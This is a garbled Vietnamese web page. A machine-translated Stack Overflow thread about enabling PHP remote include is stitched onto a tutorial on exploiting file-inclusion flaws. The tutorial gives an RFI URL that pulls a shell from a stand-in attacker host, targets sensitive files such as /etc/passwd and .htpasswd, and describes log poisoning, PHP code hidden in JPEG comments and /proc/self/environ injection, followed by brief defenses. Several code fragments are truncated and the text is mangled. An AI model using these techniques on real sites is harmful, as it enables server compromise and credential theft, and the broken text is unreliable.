Hướng dẫn php remote include - php từ xa bao gồm
12 Mới! Lưu câu hỏi hoặc câu trả lời và sắp xếp nội dung yêu thích của bạn. Tìm hiểu thêm. Tôi không thể bao gồm một tệp PHP từ xa trong tập lệnh PHP của mình. Tôi cho rằng lưu trữ của tôi đã thay đổi cài đặt PHP. Mã tôi đang sử dụng là:
Làm cách nào để cho phép kích hoạt chức năng bao gồm bằng php.ini/.htaccess? Có cách giải quyết nào khác không? Thanks. hỏi ngày 21 tháng 7 năm 2009 lúc 10:17Jul 21, 2009 at 10:17
Gaurav Sharmagaurav SharmaGaurav Sharma 3.97214 Huy hiệu vàng47 Huy hiệu bạc72 Huy hiệu đồng14 gold badges47 silver badges72 bronze badges 2 Để cho phép bao gồm các tệp từ xa, chỉ thị Nhưng nó là xấu, theo quan điểm định hướng bảo mật; và, vì vậy, nó thường bị vô hiệu hóa (thực sự tôi chưa bao giờ thấy nó được bật) Nó không giống như 0, liên quan đến việc mở (và không bao gồm) các tệp từ xa - và tệp này thường được bật, bởi vì nó giúp tìm nạp dữ liệu thông qua HTTP dễ dàng hơn nhiều (dễ dàng hơn so với sử dụng Curl)Đã trả lời ngày 21 tháng 7 năm 2009 lúc 10:31Jul 21, 2009 at 10:31
Pascal Martinpascal MartinPascal MARTIN 389K77 Huy hiệu vàng647 Huy hiệu bạc656 Huy hiệu Đồng77 gold badges647 silver badges656 bronze badges 1 Để sử dụng từ xa bao gồm, tùy chọn allow_url_fopen và allow_url_include phải được đặt trong php.ini Xin lưu ý rằng nếu máy chủ từ xa được hỗ trợ PHP, bạn sẽ nhận được đầu ra của tập lệnh từ xa đó, chứ không phải chính tập lệnh. Nếu bạn muốn tìm nạp nguồn, bạn có thể thêm một Symlink trên máy chủ từ xa, ví dụ: 1 và sau đó làm cho bạn bao gồm tệp tham chiếu.php.source thay thế.Đã trả lời ngày 21 tháng 7 năm 2009 lúc 10:20Jul 21, 2009 at 10:20
Paul Dixonpaul DixonPaul Dixon 291K51 Huy hiệu vàng310 Huy hiệu bạc344 Huy hiệu đồng51 gold badges310 silver badges344 bronze badges I. GIỚI THIỆU Code:
Giả sử trường hợp register_global được thiết lập và lúc này chúng ta sẽ thực hiện chèn trên URL với đối số bất kỳ, khi đó đoạn mã sẽ thực hiện include file mà chúng ta chỉ định, nếu không tồn tại thì sẽ báo lỗi nhưng vẫn thực hiện script. Một hàm khác của PHP đó là require hoặc require_once cũng có tác dụng tương tự như include nhưng nếu xuất hiện lỗi thì script sẽ ngừng. Sự khác biệt giữa include_once và include hoặc require_once và require là ở chỗ require_once hay include_once là ngăn chặn việc include hay require 1 file mà nhiều lần. Kiểm tra file robots.txt của website và thực hiện kiểm tra thử website đó với file robots.txt. Ví dụ www.example.com/page=robots.txt để xem cách ứng xử của server về câu truy vấn này. Có thể sử dụng Google CodeSearch để tìm kiếm các lỗi về File Inclusion bằng biểu thức chính qui như sau : http://www.google.com/codesearch lang:php (include|require)(_once)?\s*[‘”(]?\s*\$_(GET|POST|COOKIE) II. KHAI THÁC 1. Null-Byte Code: if (isset($_GET['page']))
{
include($_GET['page'].".php");
}
2. Remote File Include[/i] Nếu trong cấu hình của file php.ini mà allow_url_open=On và allow_url_include=On thì có thể thực hiện gộp file từ xa và trong nội dung file từ xa này có thể chứa các mã độc. Ví dụ Code:[/i] http://www.example.com/demo/index.php?page=http://www.hackerexample.com/shell.txt?
Ví dụ như có được thông tin từ /etc/passwd, kẻ tấn công có thể biết được các username có trên server và thực hiện bruteforce, nếu kẻ tấn công có khả năng truy cập shadow thì nguy hiểm hơn nhưng /etc/shadow thì chỉ có root mới có khả năng truy cập và đọc được file này. Ví dụ một số file nhạy cảm mà kẻ tấn công luôn muốn truy cập a. httpd.conf: Thực hiện đọc file này để có được thông tin về error_log, access_log, ServerName, DocumentRoot, … b. .htaccess và .htpasswd: Giả sử có một thư mục admin được bảo vệ bởi htaccess thì chúng ta không thể truy cập được các file .htaccess và .htpasswd trực tiếp, nhưng nếu bị lỗi local file inclusion thì có thể đọc và có được thông tin về username và password được thiết đặt ở trong những file này. c. Khai thác cục bộ Giả sử có nhiều website trên một server, nếu như site example1.com bị lỗi local file inclusion. Kẻ tấn công ở vị trí là website với domain là example2.com cũng cùng một server với example1.com thì có thể khai thác site example1.com này thông qua như sau: Code: http://www.example1.com/index.php?page=/home/example2/public_html/images/php.jpg
http://www.example1.com/index.php?page=
192.168.1.14 - - [15/Jul/2009:17:54:01 +0700] "GET /demo/index.php?page=%3C?%20echo%20phpinfo();%20?%3E HTTP/1.1" 200 492 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1) Gecko/20090624 Firefox/3.5"
HTTP/1.1\r\n");
fputs($fp, "Host: 127.0.0.1\r\n\r\n");
while(!feof($fp)){
$res .= fgets($fp, 128);
}
echo $res;
?>
e. Đặt PHP Script trong file JPEG Trong file jpg thì có phần Exif là phần đầu của file ảnh JPEG, mà nó ghi thông tin về, độ phân giải, ngày tạo, comment, … chúng ta có thể thực hiện chèn PHP script vào phần comment của file JPEG bằng công cụ jhead như sau: ./jhead –ce hack.jpg, nó sở mở vi cho chúng ta soạn thảo phần comment cho file JPEG, ở đây ta lưu comment với nội dung là . Và thực hiện upload ảnh lên server, nếu như server đó bị lỗi local file inclusion thì có thể thực hiện http://www.example.com/index.php?page=hack.jpg, khi đó mã PHP trong hack.jpg sẽ thực thi. f. Lỗi trong khi sử dụng các script để lưu log Ví dụ một đoạn mã sau lưu tấn công SQL Injection Code: http://www.google.com');
}
?>
g. Thực hiện PHP Code trong file /proc Mỗi tiến trình có một file trong thư mục /proc mà dùng để giao tiếp giữa kernel và user, tương ứng với mỗi thư mục mang số hiệu PID của mỗi tiến trình sẽ lưu thông tin về mỗi tiến trình mà nó thực hiện. Và có một file /proc/self/environ lưu thông tin về cấu hình mà nó đang hiện hành thực thi trên file mà không cần quan tâm PID. Do vậy nếu sử dụng Firefox để mở thì nó sẽ hiển thị thông tin liên quan đến Browser như là HTTP_USER_AGENT và HTTP_REFERER. Khi đó nếu website bị lỗi thì có thể thực hiện thiết đặt có chứa mã PHP và thực hiện gộp file để thực thi mã PHP http://example.com/index.php?page=/proc/self/environ III. PHÒNG CHỐNG Sử dụng hàm file_get_contents thay vì include đối với log bởi vì lúc này nó chỉ đọc nội dung của file mà không thực thi ngay cả đối với file php. Vô hiệu hóa hàm eval() trong PHP. Kiểm soát việc sử dụng require và include. Sử dụng đường dẫn tuyệt đối hơn là sử dụng .. hoặc / . Thiết đặt allow_url_fopen=off để chống RFI khi đó hàm file_get_contents cũng vô hiệu hóa theo đối với phiên bản PHP cũ < 5.2.0. Nếu sử dụng PHP 5.2.0 thì thiết đặt allow_url_open=on nhưng allow_url_include=off, và thiết đặt register_global=off và thậm chí thiết lập display_errors=off |